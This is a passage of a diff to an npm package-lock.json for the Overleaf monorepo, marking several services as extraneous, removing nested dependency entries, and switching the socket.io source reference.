+- "version": "1.0.3",
+- "resolved": "https://registry.npmjs.org/xtend/-/xtend-1.0.3.tgz",
+- "integrity": "sha1-P12Tc1PM7Y4IU5mlY/2yJUHClgo=",
+- "engines": {
+- "node": ">=0.4"
+- }
+- },
+ "services/k8s-debugger": {
+ "name": "@overleaf/k8s-debugger",
++ "extraneous": true,
+ "dependencies": {
+ "@overleaf/logger": "^3.1.0",
+ "@overleaf/metrics": "^4.0.0",
+@@ -33451,6 +27180,7 @@
+ },
+ "services/project-archiver": {
+ "name": "@overleaf/project-archiver",
++ "extraneous": true,
+ "dependencies": {
+ "@google-cloud/storage": "~5.7.2",
+ "@overleaf/logger": "^3.1.0",
+@@ -33473,121 +27203,9 @@
+ "sinon": "9.0.1"
+ }
+ },
+- "services/project-archiver/node_modules/@google-cloud/storage": {
+- "version": "5.7.4",
+- "resolved": "https://registry.npmjs.org/@google-cloud/storage/-/storage-5.7.4.tgz",
+- "integrity": "sha512-fynB3kDT+lhx71laML+LtUs/w9Ezcf+SVAsaP0fhAyPQzOc0kp43uYTymYCvF9GffYR7jcy6yqYifeMSU9VEVA==",
+- "dependencies": {
+- "@google-cloud/common": "^3.5.0",
+- "@google-cloud/paginator": "^3.0.0",
+- "@google-cloud/promisify": "^2.0.0",
+- "arrify": "^2.0.0",
+- "async-retry": "^1.3.1",
+- "compressible": "^2.0.12",
+- "date-and-time": "^0.14.2",
+- "duplexify": "^4.0.0",
+- "extend": "^3.0.2",
+- "gaxios": "^4.0.0",
+- "gcs-resumable-upload": "^3.1.0",
+- "get-stream": "^6.0.0",
+- "hash-stream-validation": "^0.2.2",
+- "mime": "^2.2.0",
+- "mime-types": "^2.0.8",
+- "onetime": "^5.1.0",
+- "p-limit": "^3.0.1",
+- "pumpify": "^2.0.0",
+- "snakeize": "^0.1.0",
+- "stream-events": "^1.0.1",
+- "xdg-basedir": "^4.0.0"
+- },
+- "engines": {
+- "node": ">=10"
+- }
+- },
+- "services/project-archiver/node_modules/date-and-time": {
+- "version": "0.14.2",
+- "resolved": "https://registry.npmjs.org/date-and-time/-/date-and-time-0.14.2.tgz",
+- "integrity": "sha512-EFTCh9zRSEpGPmJaexg7HTuzZHh6cnJj1ui7IGCFNXzd2QdpsNh05Db5TF3xzJm30YN+A8/6xHSuRcQqoc3kFA=="
+- },
+- "services/project-archiver/node_modules/diff": {
+- "version": "4.0.2",
+- "resolved": "https://registry.npmjs.org/diff/-/diff-4.0.2.tgz",
+- "integrity": "sha512-58lmxKSA4BNyLz+HHMUzlOEpg09FV+ev6ZMe3vJihgdxzgcwZ8VoEEPmALCZG9LmqfVoNMMKpttIYTVG6uDY7A==",
+- "dev": true,
+- "engines": {
+- "node": ">=0.3.1"
+- }
+- },
+- "services/project-archiver/node_modules/duplexify": {
+- "version": "4.1.2",
+- "resolved": "https://registry.npmjs.org/duplexify/-/duplexify-4.1.2.tgz",
+- "integrity": "sha512-fz3OjcNCHmRP12MJoZMPglx8m4rrFP8rovnk4vT8Fs+aonZoCwGg10dSsQsfP/E62eZcPTMSMP6686fu9Qlqtw==",
+- "dependencies": {
+- "end-of-stream": "^1.4.1",
+- "inherits": "^2.0.3",
+- "readable-stream": "^3.1.1",
+- "stream-shift": "^1.0.0"
+- }
+- },
+- "services/project-archiver/node_modules/gaxios": {
+- "version": "4.3.2",
+- "resolved": "https://registry.npmjs.org/gaxios/-/gaxios-4.3.2.tgz",
+- "integrity": "sha512-T+ap6GM6UZ0c4E6yb1y/hy2UB6hTrqhglp3XfmU9qbLCGRYhLVV5aRPpC4EmoG8N8zOnkYCgoBz+ScvGAARY6Q==",
+- "dependencies": {
+- "abort-controller": "^3.0.0",
+- "extend": "^3.0.2",
+- "https-proxy-agent": "^5.0.0",
+- "is-stream": "^2.0.0",
+- "node-fetch": "^2.6.1"
+- },
+- "engines": {
+- "node": ">=10"
+- }
+- },
+- "services/project-archiver/node_modules/get-stream": {
+- "version": "6.0.1",
+- "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-6.0.1.tgz",
+- "integrity": "sha512-ts6Wi+2j3jQjqi70w5AlN8DFnkSwC+MqmxEzdEALB2qXZYV3X/b1CTfgPLGJNMeAWxdPfU8FO1ms3NUfaHCPYg==",
+- "engines": {
+- "node": ">=10"
+- },
+- "funding": {
+- "url": "https://github.com/sponsors/sindresorhus"
+- }
+- },
+- "services/project-archiver/node_modules/sinon": {
+- "version": "9.0.1",
+- "resolved": "https://registry.npmjs.org/sinon/-/sinon-9.0.1.tgz",
+- "integrity": "sha512-iTTyiQo5T94jrOx7X7QLBZyucUJ2WvL9J13+96HMfm2CGoJYbIPqRfl6wgNcqmzk0DI28jeGx5bUTXizkrqBmg==",
+- "dev": true,
+- "dependencies": {
+- "@sinonjs/commons": "^1.7.0",
+- "@sinonjs/fake-timers": "^6.0.0",
+- "@sinonjs/formatio": "^5.0.1",
+- "@sinonjs/samsam": "^5.0.3",
+- "diff": "^4.0.2",
+- "nise": "^4.0.1",
+- "supports-color": "^7.1.0"
+- },
+- "funding": {
+- "type": "opencollective",
+- "url": "https://opencollective.com/sinon"
+- }
+- },
+- "services/project-archiver/node_modules/supports-color": {
+- "version": "7.2.0",
+- "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
+- "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
+- "dev": true,
+- "dependencies": {
+- "has-flag": "^4.0.0"
+- },
+- "engines": {
+- "node": ">=8"
+- }
+- },
+ "services/project-history": {
+ "name": "@overleaf/project-history",
++ "extraneous": true,
+ "dependencies": {
+ "@overleaf/logger": "^3.1.0",
+ "@overleaf/metrics": "^4.0.0",
+@@ -33630,360 +27248,6 @@
+ "timekeeper": "2.2.0"
+ }
+ },
+- "services/project-history/node_modules/@hapi/address": {
+- "version": "2.1.4",
+- "resolved": "https://registry.npmjs.org/@hapi/address/-/address-2.1.4.tgz",
+- "integrity": "sha512-QD1PhQk+s31P1ixsX0H0Suoupp3VMXzIVMSwobR3F3MSUO2YCV0B7xqLcUw/Bh8yuvd3LhpyqLQWTNcRmp6IdQ==",
+- "deprecated": "Moved to 'npm install @sideway/address'"
+- },
+- "services/project-history/node_modules/@hapi/joi": {
+- "version": "15.1.1",
+- "resolved": "https://registry.npmjs.org/@hapi/joi/-/joi-15.1.1.tgz",
+- "integrity": "sha512-entf8ZMOK8sc+8YfeOlM8pCfg3b5+WZIKBfUaaJT8UsjAAPjartzxIYm3TIbjvA4u+u++KbcXD38k682nVHDAQ==",
+- "deprecated": "Switch to 'npm install joi'",
+- "dependencies": {
+- "@hapi/address": "2.x.x",
+- "@hapi/bourne": "1.x.x",
+- "@hapi/hoek": "8.x.x",
+- "@hapi/topo": "3.x.x"
+- }
+- },
+- "services/project-history/node_modules/@hapi/topo": {
+- "version": "3.1.6",
+- "resolved": "https://registry.npmjs.org/@hapi/topo/-/topo-3.1.6.tgz",
+- "integrity": "sha512-tAag0jEcjwH+P2quUfipd7liWCNX2F8NvYjQp2wtInsZxnMlypdw0FtAOLxtvvkO+GSRRbmNi8m/5y42PQJYCQ==",
+- "deprecated": "This version has been deprecated and is no longer supported or maintained",
+- "dependencies": {
+- "@hapi/hoek": "^8.3.0"
+- }
+- },
+- "services/project-history/node_modules/body-parser": {
+- "version": "1.19.0",
+- "resolved": "https://registry.npmjs.org/body-parser/-/body-parser-1.19.0.tgz",
+- "integrity": "sha512-dhEPs72UPbDnAQJ9ZKMNTP6ptJaionhP5cBb541nXPlW60Jepo9RV/a4fX4XWW9CuFNK22krhrj1+rgzifNCsw==",
+- "dependencies": {
+- "bytes": "3.1.0",
+- "content-type": "~1.0.4",
+- "debug": "2.6.9",
+- "depd": "~1.1.2",
+- "http-errors": "1.7.2",
+- "iconv-lite": "0.4.24",
+- "on-finished": "~2.3.0",
+- "qs": "6.7.0",
+- "raw-body": "2.4.0",
+- "type-is": "~1.6.17"
+- },
+- "engines": {
+- "node": ">= 0.8"
+- }
+- },
+- "services/project-history/node_modules/body-parser/node_modules/debug": {
+- "version": "2.6.9",
+- "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz",
+- "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==",
+- "dependencies": {
+- "ms": "2.0.0"
+- }
+- },
+- "services/project-history/node_modules/body-parser/node_modules/ms": {
+- "version": "2.0.0",
+- "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz",
+- "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g="
+- },
+- "services/project-history/node_modules/bytes": {
+- "version": "3.1.0",
+- "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.1.0.tgz",
+- "integrity": "sha512-zauLjrfCG+xvoyaqLoV8bLVXXNGC4JqlxFCutSDWA6fJrTo2ZuvLYTqZ7aHBLZSMOopbzwv8f+wZcVzfVTI2Dg==",
+- "engines": {
+- "node": ">= 0.8"
+- }
+- },
+- "services/project-history/node_modules/celebrate": {
+- "version": "10.1.0",
+- "resolved": "https://registry.npmjs.org/celebrate/-/celebrate-10.1.0.tgz",
+- "integrity": "sha512-Ybkb+/mek6nl4HZljFGUtma8r1Dq0ClYiHf5RVV3msoDFRsJlAFIR8J6+dKwL4EhgihIPFdBOMc6KFO9izMA9g==",
+- "dependencies": {
+- "@hapi/joi": "15.x.x",
+- "escape-html": "1.0.3",
+- "lodash.get": "4.4.x"
+- },
+- "engines": {
+- "node": ">=8.9.0"
+- }
+- },
+- "services/project-history/node_modules/content-disposition": {
+- "version": "0.5.3",
+- "resolved": "https://registry.npmjs.org/content-disposition/-/content-disposition-0.5.3.tgz",
+- "integrity": "sha512-ExO0774ikEObIAEV9kDo50o+79VCUdEB6n6lzKgGwupcVeRlhrj3qGAfwq8G6uBJjkqLrhT0qEYFcWng8z1z0g==",
+- "dependencies": {
+- "safe-buffer": "5.1.2"
+- },
+- "engines": {
+- "node": ">= 0.6"
+- }
+- },
+- "services/project-history/node_modules/cookie": {
+- "version": "0.4.0",
+- "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.4.0.tgz",
+- "integrity": "sha512-+Hp8fLp57wnUSt0tY0tHEXh4voZRDnoIrZPqlo3DPiI4y9lwg/jqx+1Om94/W6ZaPDOUbnjOt/99w66zk+l1Xg==",
+- "engines": {
+- "node": ">= 0.6"
+- }
+- },
+- "services/project-history/node_modules/cookie-signature": {
+- "version": "1.0.6",
+- "resolved": "https://registry.npmjs.org/cookie-signature/-/cookie-signature-1.0.6.tgz",
+- "integrity": "sha1-4wOogrNCzD7oylE6eZmXNNqzriw="
+- },
+- "services/project-history/node_modules/diff": {
+- "version": "4.0.2",
+- "resolved": "https://registry.npmjs.org/diff/-/diff-4.0.2.tgz",
+- "integrity": "sha512-58lmxKSA4BNyLz+HHMUzlOEpg09FV+ev6ZMe3vJihgdxzgcwZ8VoEEPmALCZG9LmqfVoNMMKpttIYTVG6uDY7A==",
+- "dev": true,
+- "engines": {
+- "node": ">=0.3.1"
+- }
+- },
+- "services/project-history/node_modules/express": {
+- "version": "4.17.1",
+- "resolved": "https://registry.npmjs.org/express/-/express-4.17.1.tgz",
+- "integrity": "sha512-mHJ9O79RqluphRrcw2X/GTh3k9tVv8YcoyY4Kkh4WDMUYKRZUq0h1o0w2rrrxBqM7VoeUVqgb27xlEMXTnYt4g==",
+- "dependencies": {
+- "accepts": "~1.3.7",
+- "array-flatten": "1.1.1",
+- "body-parser": "1.19.0",
+- "content-disposition": "0.5.3",
+- "content-type": "~1.0.4",
+- "cookie": "0.4.0",
+- "cookie-signature": "1.0.6",
+- "debug": "2.6.9",
+- "depd": "~1.1.2",
+- "encodeurl": "~1.0.2",
+- "escape-html": "~1.0.3",
+- "etag": "~1.8.1",
+- "finalhandler": "~1.1.2",
+- "fresh": "0.5.2",
+- "merge-descriptors": "1.0.1",
+- "methods": "~1.1.2",
+- "on-finished": "~2.3.0",
+- "parseurl": "~1.3.3",
+- "path-to-regexp": "0.1.7",
+- "proxy-addr": "~2.0.5",
+- "qs": "6.7.0",
+- "range-parser": "~1.2.1",
+- "safe-buffer": "5.1.2",
+- "send": "0.17.1",
+- "serve-static": "1.14.1",
+- "setprototypeof": "1.1.1",
+- "statuses": "~1.5.0",
+- "type-is": "~1.6.18",
+- "utils-merge": "1.0.1",
+- "vary": "~1.1.2"
+- },
+- "engines": {
+- "node": ">= 0.10.0"
+- }
+- },
+- "services/project-history/node_modules/express/node_modules/debug": {
+- "version": "2.6.9",
+- "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz",
+- "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==",
+- "dependencies": {
+- "ms": "2.0.0"
+- }
+- },
+- "services/project-history/node_modules/express/node_modules/ms": {
+- "version": "2.0.0",
+- "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz",
+- "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g="
+- },
+- "services/project-history/node_modules/http-errors": {
+- "version": "1.7.2",
+- "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-1.7.2.tgz",
+- "integrity": "sha512-uUQBt3H/cSIVfch6i1EuPNy/YsRSOUBXTVfZ+yR7Zjez3qjBz6i9+i4zjNaoqcoFVI4lQJ5plg63TvGfRSDCRg==",
+- "dependencies": {
+- "depd": "~1.1.2",
+- "inherits": "2.0.3",
+- "setprototypeof": "1.1.1",
+- "statuses": ">= 1.5.0 < 2",
+- "toidentifier": "1.0.0"
+- },
+- "engines": {
+- "node": ">= 0.6"
+- }
+- },
+- "services/project-history/node_modules/inherits": {
+- "version": "2.0.3",
+- "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.3.tgz",
+- "integrity": "sha1-Yzwsg+PaQqUC9SRmAiSA9CCCYd4="
+- },
+- "services/project-history/node_modules/mime": {
+- "version": "1.6.0",
+- "resolved": "https://registry.npmjs.org/mime/-/mime-1.6.0.tgz",
+- "integrity": "sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg==",
+- "bin": {
+- "mime": "cli.js"
+- },
+- "engines": {
+- "node": ">=4"
+- }
+- },
+- "services/project-history/node_modules/ms": {
+- "version": "2.1.1",
+- "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.1.tgz",
+- "integrity": "sha512-tgp+dl5cGk28utYktBsrFqA7HKgrhgPsg6Z/EfhWI4gl1Hwq8B/GmY/0oXZ6nF8hDVesS/FpnYaD/kOWhYQvyg=="
+- },
+- "services/project-history/node_modules/nock": {
+- "version": "12.0.3",
+- "resolved": "https://registry.npmjs.org/nock/-/nock-12.0.3.tgz",
+- "integrity": "sha512-QNb/j8kbFnKCiyqi9C5DD0jH/FubFGj5rt9NQFONXwQm3IPB0CULECg/eS3AU1KgZb/6SwUa4/DTRKhVxkGABw==",
+- "dev": true,
+- "dependencies": {
+- "debug": "^4.1.0",
+- "json-stringify-safe": "^5.0.1",
+- "lodash": "^4.17.13",
+- "propagate": "^2.0.0"
+- },
+- "engines": {
+- "node": ">= 10.13"
+- }
+- },
+- "services/project-history/node_modules/propagate": {
+- "version": "2.0.1",
+- "resolved": "https://registry.npmjs.org/propagate/-/propagate-2.0.1.tgz",
+- "integrity": "sha512-vGrhOavPSTz4QVNuBNdcNXePNdNMaO1xj9yBeH1ScQPjk/rhg9sSlCXPhMkFuaNNW/syTvYqsnbIJxMBfRbbag==",
+- "dev": true,
+- "engines": {
+- "node": ">= 8"
+- }
+- },
+- "services/project-history/node_modules/qs": {
+- "version": "6.7.0",
+- "resolved": "https://registry.npmjs.org/qs/-/qs-6.7.0.tgz",
+- "integrity": "sha512-VCdBRNFTX1fyE7Nb6FYoURo/SPe62QCaAyzJvUjwRaIsc+NePBEniHlvxFmmX56+HZphIGtV0XeCirBtpDrTyQ==",
+- "engines": {
+- "node": ">=0.6"
+- }
+- },
+- "services/project-history/node_modules/raw-body": {
+- "version": "2.4.0",
+- "resolved": "https://registry.npmjs.org/raw-body/-/raw-body-2.4.0.tgz",
+- "integrity": "sha512-4Oz8DUIwdvoa5qMJelxipzi/iJIi40O5cGV1wNYp5hvZP8ZN0T+jiNkL0QepXs+EsQ9XJ8ipEDoiH70ySUJP3Q==",
+- "dependencies": {
+- "bytes": "3.1.0",
+- "http-errors": "1.7.2",
+- "iconv-lite": "0.4.24",
+- "unpipe": "1.0.0"
+- },
+- "engines": {
+- "node": ">= 0.8"
+- }
+- },
+- "services/project-history/node_modules/requestretry": {
+- "version": "1.13.0",
+- "resolved": "https://registry.npmjs.org/requestretry/-/requestretry-1.13.0.tgz",
+- "integrity": "sha512-Lmh9qMvnQXADGAQxsXHP4rbgO6pffCfuR8XUBdP9aitJcLQJxhp7YZK4xAVYXnPJ5E52mwrfiKQtKonPL8xsmg==",
+- "dependencies": {
+- "extend": "^3.0.0",
+- "lodash": "^4.15.0",
+- "request": "^2.74.0",
+- "when": "^3.7.7"
+- }
+- },
+- "services/project-history/node_modules/send": {
+- "version": "0.17.1",
+- "resolved": "https://registry.npmjs.org/send/-/send-0.17.1.tgz",
+- "integrity": "sha512-BsVKsiGcQMFwT8UxypobUKyv7irCNRHk1T0G680vk88yf6LBByGcZJOTJCrTP2xVN6yI+XjPJcNuE3V4fT9sAg==",
+- "dependencies": {
+- "debug": "2.6.9",
+- "depd": "~1.1.2",
+- "destroy": "~1.0.4",
+- "encodeurl": "~1.0.2",
+- "escape-html": "~1.0.3",
+- "etag": "~1.8.1",
+- "fresh": "0.5.2",
+- "http-errors": "~1.7.2",
+- "mime": "1.6.0",
+- "ms": "2.1.1",
+- "on-finished": "~2.3.0",
+- "range-parser": "~1.2.1",
+- "statuses": "~1.5.0"
+- },
+- "engines": {
+- "node": ">= 0.8.0"
+- }
+- },
+- "services/project-history/node_modules/send/node_modules/debug": {
+- "version": "2.6.9",
+- "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz",
+- "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==",
+- "dependencies": {
+- "ms": "2.0.0"
+- }
+- },
+- "services/project-history/node_modules/send/node_modules/debug/node_modules/ms": {
+- "version": "2.0.0",
+- "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz",
+- "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g="
+- },
+- "services/project-history/node_modules/serve-static": {
+- "version": "1.14.1",
+- "resolved": "https://registry.npmjs.org/serve-static/-/serve-static-1.14.1.tgz",
+- "integrity": "sha512-JMrvUwE54emCYWlTI+hGrGv5I8dEwmco/00EvkzIIsR7MqrHonbD9pO2MOfFnpFntl7ecpZs+3mW+XbQZu9QCg==",
+- "dependencies": {
+- "encodeurl": "~1.0.2",
+- "escape-html": "~1.0.3",
+- "parseurl": "~1.3.3",
+- "send": "0.17.1"
+- },
+- "engines": {
+- "node": ">= 0.8.0"
+- }
+- },
+- "services/project-history/node_modules/setprototypeof": {
+- "version": "1.1.1",
+- "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.1.1.tgz",
+- "integrity": "sha512-JvdAWfbXeIGaZ9cILp38HntZSFSo3mWg6xGcJJsd+d4aRMOqauag1C63dJfDw7OaMYwEbHMOxEZ1lqVRYP2OAw=="
+- },
+- "services/project-history/node_modules/sinon": {
+- "version": "9.0.3",
+- "resolved": "https://registry.npmjs.org/sinon/-/sinon-9.0.3.tgz",
+- "integrity": "sha512-IKo9MIM111+smz9JGwLmw5U1075n1YXeAq8YeSFlndCLhAL5KGn6bLgu7b/4AYHTV/LcEMcRm2wU2YiL55/6Pg==",
+- "dev": true,
+- "dependencies": {
+- "@sinonjs/commons": "^1.7.2",
+- "@sinonjs/fake-timers": "^6.0.1",
+- "@sinonjs/formatio": "^5.0.1",
+- "@sinonjs/samsam": "^5.1.0",
+- "diff": "^4.0.2",
+- "nise": "^4.0.4",
+- "supports-color": "^7.1.0"
+- },
+- "funding": {
+- "type": "opencollective",
+- "url": "https://opencollective.com/sinon"
+- }
+- },
+- "services/project-history/node_modules/supports-color": {
+- "version": "7.2.0",
+- "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
+- "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
+- "dev": true,
+- "dependencies": {
+- "has-flag": "^4.0.0"
+- },
+- "engines": {
+- "node": ">=8"
+- }
+- },
+- "services/project-history/node_modules/toidentifier": {
+- "version": "1.0.0",
+- "resolved": "https://registry.npmjs.org/toidentifier/-/toidentifier-1.0.0.tgz",
+- "integrity": "sha512-yaOH/Pk/VEhBWWTlhI+qXxDFXlejDGcQipMlyxda9nthulaxLZUNcUqFxokp0vcYnvteJln5FNQDRrxj3YcbVw==",
+- "engines": {
+- "node": ">=0.6"
+- }
+- },
+ "services/real-time": {
+ "name": "@overleaf/real-time",
+ "dependencies": {
+@@ -34003,7 +27267,7 @@
+ "express-session": "^1.17.1",
+ "proxy-addr": "^2.0.7",
+ "request": "^2.88.2",
+- "socket.io": "git+ssh://git@github.com/overleaf/socket.io.git#af96d1b68d9918ee0f9cb82c62990395b0a601fb",
++ "socket.io": "overleaf/socket.io#0.9.19-overleaf-6",
+ "socket.io-client": "overleaf/socket.io-client#0.9.17-overleaf-3",
+ "underscore": "1.13.1"
+ },
+@@ -34105,6 +27369,7 @@
+ },
+ "services/references": {
+ "name": "@overleaf/references",
++ "extraneous": true,
+ "dependencies": {
+ "@overleaf/logger": "^3.1.0",
+ "@overleaf/metrics": "^4.0.0",
+@@ -34130,14 +27395,6 @@
+ "sinon": "^9.2.4"
+ }
+ },
+- "services/references/node_modules/uuid": {
+- "version": "7.0.3",
+- "resolved": "https://registry.npmjs.org/uuid/-/uuid-7.0.3.tgz",
+- "integrity": "sha512-DPSke0pXhTZgoF/d+WSt2QaKMCFSfx7QegxEWT+JOuHF5aWrKEn0G+ztjuJg/gG8/ItK+rbPCD/yNv8yyih6Cg==",
+- "bin": {
+- "uuid": "dist/bin/uuid"
+- }
+- },
+ "services/spelling": {
+ "name": "@overleaf/spelling",
+ "version": "0.1.4",
+@@ -34170,6 +27427,7 @@
+ },
+ "services/templates": {
+ "name": "@overleaf/templates",
++ "extraneous": true,
+ "dependencies": {
+ "@overleaf/logger": "^3.1.0",
+ "@overleaf/metrics": "^4.0.0",
+@@ -34195,404 +27453,73 @@
+ "sinon": "^9.2.4"
+ }
+ },
+- "services/templates/node_modules/body-parser": {
+- "version": "1.19.0",
+- "resolved": "https://registry.npmjs.org/body-parser/-/body-parser-1.19.0.tgz",
+- "integrity": "sha512-dhEPs72UPbDnAQJ9ZKMNTP6ptJaionhP5cBb541nXPlW60Jepo9RV/a4fX4XWW9CuFNK22krhrj1+rgzifNCsw==",
++ "services/third-party-datastore": {
++ "name": "@overleaf/third-party-datastore",
++ "extraneous": true,
+ "dependencies": {
+- "bytes": "3.1.0",
+- "content-type": "~1.0.4",
+- "debug": "2.6.9",
+- "depd": "~1.1.2",
+- "http-errors": "1.7.2",
+- "iconv-lite": "0.4.24",
+- "on-finished": "~2.3.0",
+- "qs": "6.7.0",
+- "raw-body": "2.4.0",
+- "type-is": "~1.6.17"
++ "@overleaf/access-token-encryptor": "^2.2.0",
++ "@overleaf/logger": "^3.1.0",
++ "@overleaf/metrics": "^4.0.0",
++ "@overleaf/o-error": "^3.4.0",
++ "@overleaf/redis-wrapper": "^2.0.1",
++ "@overleaf/settings": "^3.0.0",
++ "async": "^3.2.2",
++ "body-parser": "^1.19.0",
++ "bunyan": "^1.8.15",
++ "dropbox": "^10.24.0",
++ "express": "^4.17.1",
++ "lru-cache": "^4.1.5",
++ "mongodb": "^3.6.0",
++ "node-fetch": "^2.6.7",
++ "p-limit": "^2.3.0",
++ "request": "^2.88.2",
++ "underscore": "^1.13.1",
++ "uuid": "^8.3.2"
+ },
+- "engines": {
+- "node": ">= 0.8"
+- }
+- },
+- "services/templates/node_modules/bytes": {
+- "version": "3.1.0",
+- "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.1.0.tgz",
+- "integrity": "sha512-zauLjrfCG+xvoyaqLoV8bLVXXNGC4JqlxFCutSDWA6fJrTo2ZuvLYTqZ7aHBLZSMOopbzwv8f+wZcVzfVTI2Dg==",
+- "engines": {
+- "node": ">= 0.8"
++ "devDependencies": {
++ "chai": "^4.3.6",
++ "chai-as-promised": "^7.1.1",
++ "mocha": "^8.4.0",
++ "nock": "0.15.2",
++ "sandboxed-module": "^2.0.4",
++ "sinon": "9.0.1",
++ "sinon-chai": "^3.7.0",
++ "sinon-stub-promise": "^4.0.0"
+ }
+ },
+- "services/templates/node_modules/content-disposition": {
+- "version": "0.5.3",
+- "resolved": "https://registry.npmjs.org/content-disposition/-/content-disposition-0.5.3.tgz",
+- "integrity": "sha512-ExO0774ikEObIAEV9kDo50o+79VCUdEB6n6lzKgGwupcVeRlhrj3qGAfwq8G6uBJjkqLrhT0qEYFcWng8z1z0g==",
++ "services/third-party-references": {
++ "name": "@overleaf/thirdparty-references",
++ "extraneous": true,
++ "license": "ISC",
+ "dependencies": {
+- "safe-buffer": "5.1.2"
++ "@overleaf/access-token-encryptor": "^2.2.0",
++ "@overleaf/logger": "^3.1.0",
++ "@overleaf/metrics": "^4.0.0",
++ "@overleaf/o-error": "^3.4.0",
++ "@overleaf/settings": "^3.0.0",
++ "async": "^3.2.2",
++ "body-parser": "^1.19.0",
++ "bunyan": "^1.8.15",
++ "express": "^4.17.1",
++ "lodash": "^4.17.21",
++ "lru-cache": "^5.1.1",
++ "mongodb": "^3.6.0",
++ "oauth": "0.9.15",
++ "request": "^2.88.2",
++ "simple-oauth2": "^0.6.0"
+ },
+- "engines": {
+- "node": ">= 0.6"
+- }
+- },
+- "services/templates/node_modules/cookie": {
+- "version": "0.4.0",
+- "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.4.0.tgz",
+- "integrity": "sha512-+Hp8fLp57wnUSt0tY0tHEXh4voZRDnoIrZPqlo3DPiI4y9lwg/jqx+1Om94/W6ZaPDOUbnjOt/99w66zk+l1Xg==",
+- "engines": {
+- "node": ">= 0.6"
+- }
+- },
+- "services/templates/node_modules/cookie-signature": {
+- "version": "1.0.6",
+- "resolved": "https://registry.npmjs.org/cookie-signature/-/cookie-signature-1.0.6.tgz",
+- "integrity": "sha1-4wOogrNCzD7oylE6eZmXNNqzriw="
+- },
+- "services/templates/node_modules/debug": {
+- "version": "2.6.9",
+- "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz",
+- "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==",
+- "dependencies": {
+- "ms": "2.0.0"
+- }
+- },
+- "services/templates/node_modules/express": {
+- "version": "4.17.1",
+- "resolved": "https://registry.npmjs.org/express/-/express-4.17.1.tgz",
+- "integrity": "sha512-mHJ9O79RqluphRrcw2X/GTh3k9tVv8YcoyY4Kkh4WDMUYKRZUq0h1o0w2rrrxBqM7VoeUVqgb27xlEMXTnYt4g==",
+- "dependencies": {
+- "accepts": "~1.3.7",
+- "array-flatten": "1.1.1",
+- "body-parser": "1.19.0",
+- "content-disposition": "0.5.3",
+- "content-type": "~1.0.4",
+- "cookie": "0.4.0",
+- "cookie-signature": "1.0.6",
+- "debug": "2.6.9",
+- "depd": "~1.1.2",
+- "encodeurl": "~1.0.2",
+- "escape-html": "~1.0.3",
+- "etag": "~1.8.1",
+- "finalhandler": "~1.1.2",
+- "fresh": "0.5.2",
+- "merge-descriptors": "1.0.1",
+- "methods": "~1.1.2",
+- "on-finished": "~2.3.0",
+- "parseurl": "~1.3.3",
+- "path-to-regexp": "0.1.7",
+- "proxy-addr": "~2.0.5",
+- "qs": "6.7.0",
+- "range-parser": "~1.2.1",
+- "safe-buffer": "5.1.2",
+- "send": "0.17.1",
+- "serve-static": "1.14.1",
+- "setprototypeof": "1.1.1",
+- "statuses": "~1.5.0",
+- "type-is": "~1.6.18",
+- "utils-merge": "1.0.1",
+- "vary": "~1.1.2"
+- },
+- "engines": {
+- "node": ">= 0.10.0"
+- }
+- },
+- "services/templates/node_modules/http-errors": {
+- "version": "1.7.2",
+- "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-1.7.2.tgz",
+- "integrity": "sha512-uUQBt3H/cSIVfch6i1EuPNy/YsRSOUBXTVfZ+yR7Zjez3qjBz6i9+i4zjNaoqcoFVI4lQJ5plg63TvGfRSDCRg==",
+- "dependencies": {
+- "depd": "~1.1.2",
+- "inherits": "2.0.3",
+- "setprototypeof": "1.1.1",
+- "statuses": ">= 1.5.0 < 2",
+- "toidentifier": "1.0.0"
+- },
+- "engines": {
+- "node": ">= 0.6"
+- }
+- },
+- "services/templates/node_modules/inherits": {
+- "version": "2.0.3",
+- "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.3.tgz",
+- "integrity": "sha1-Yzwsg+PaQqUC9SRmAiSA9CCCYd4="
+- },
+- "services/templates/node_modules/mime": {
+- "version": "1.6.0",
